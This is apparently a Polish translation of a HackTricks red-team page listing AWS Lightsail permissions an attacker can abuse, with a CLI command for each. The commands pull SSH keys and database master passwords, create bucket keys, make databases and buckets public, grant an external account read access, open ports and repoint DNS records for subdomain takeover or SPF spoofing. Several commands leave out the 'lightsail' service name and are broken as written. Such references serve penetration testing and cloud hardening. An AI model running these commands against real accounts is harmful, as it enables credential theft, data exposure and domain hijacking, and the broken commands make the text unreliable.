AWS - Lightsail Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Lightsail

Aby uzyskać więcej informacji na temat Lightsail, sprawdź:

pageAWS - Lightsail Enum

Warto zauważyć, że Lightsail nie korzysta z ról IAM należących do użytkownika, ale do zarządzanego konta AWS, więc nie można wykorzystać tej usługi do eskalacji uprawnień. Jednak wrażliwe dane, takie jak kod, klucze API i informacje o bazie danych, mogą być znalezione w tej usłudze.

lightsail:DownloadDefaultKeyPair

To uprawnienie umożliwi Ci pobranie kluczy SSH do dostępu do instancji:

aws lightsail download-default-key-pair

Potencjalne skutki: Znalezienie wrażliwych informacji wewnątrz instancji.

lightsail:GetInstanceAccessDetails

To uprawnienie umożliwi Ci generowanie kluczy SSH do dostępu do instancji:

aws lightsail get-instance-access-details --instance-name <instance_name>

Potencjalne skutki: Znalezienie wrażliwych informacji wewnątrz instancji.

lightsail:CreateBucketAccessKey

To uprawnienie umożliwi Ci uzyskanie klucza dostępu do kubełka:

aws lightsail create-bucket-access-key --bucket-name <name>

Potencjalne skutki: Znalezienie wrażliwych informacji wewnątrz kubełka.

lightsail:GetRelationalDatabaseMasterUserPassword

To uprawnienie umożliwi Ci uzyskanie poświadczeń dostępu do bazy danych:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Potencjalne skutki: Znalezienie wrażliwych informacji w bazie danych.

lightsail:UpdateRelationalDatabase

To uprawnienie umożliwia zmianę hasła dostępu do bazy danych:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Jeśli baza danych nie jest publiczna, możesz również uczynić ją publiczną, nadając jej te uprawnienia:

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potencjalne skutki: Znalezienie wrażliwych informacji wewnątrz bazy danych.

lightsail:OpenInstancePublicPorts

To uprawnienie umożliwia otwarcie portów do Internetu.

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potencjalne zagrożenie: Dostęp do wrażliwych portów.

lightsail:PutInstancePublicPorts

To uprawnienie umożliwia otwieranie portów do Internetu. Należy zauważyć, że to wywołanie zamknie wszystkie porty, które nie zostały w nim wymienione.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potencjalne skutki: Dostęp do wrażliwych portów.

lightsail:SetResourceAccessForBucket

To uprawnienie umożliwia udostępnienie instancji dostępu do kubełka bez dodatkowych poświadczeń

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potencjalne skutki: Potencjalny nowy dostęp do kubełków z poufnymi informacjami.

lightsail:UpdateBucket

Z tym uprawnieniem atakujący mógłby nadać swojemu własnemu kontu AWS dostęp do odczytu kubełków lub nawet uczynić kubełki publicznymi dla wszystkich:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Potencjalne skutki: Potencjalny nowy dostęp do kubełków z poufnymi informacjami.

lightsail:UpdateContainerService

Z tymi uprawnieniami atakujący mógłby udzielić dostępu do prywatnych ECR-ów z usługi kontenerów.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potencjalne zagrożenie: Uzyskanie poufnych informacji z prywatnego ECR

lightsail:CreateDomainEntry

Atakujący posiadający te uprawnienia mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwalałby mu na podszywanie się pod adres e-mail z domeny, lub nawet ustawić główną domenę na swój własny adres IP.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencjalne skutki: Przejęcie domeny

lightsail:UpdateDomainEntry

Atakujący posiadający te uprawnienia mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwalałby mu na podszywanie się pod adres e-mail domeny, lub nawet ustawić główną domenę na swój własny adres IP.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencjalne zagrożenie: Przejęcie domeny

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated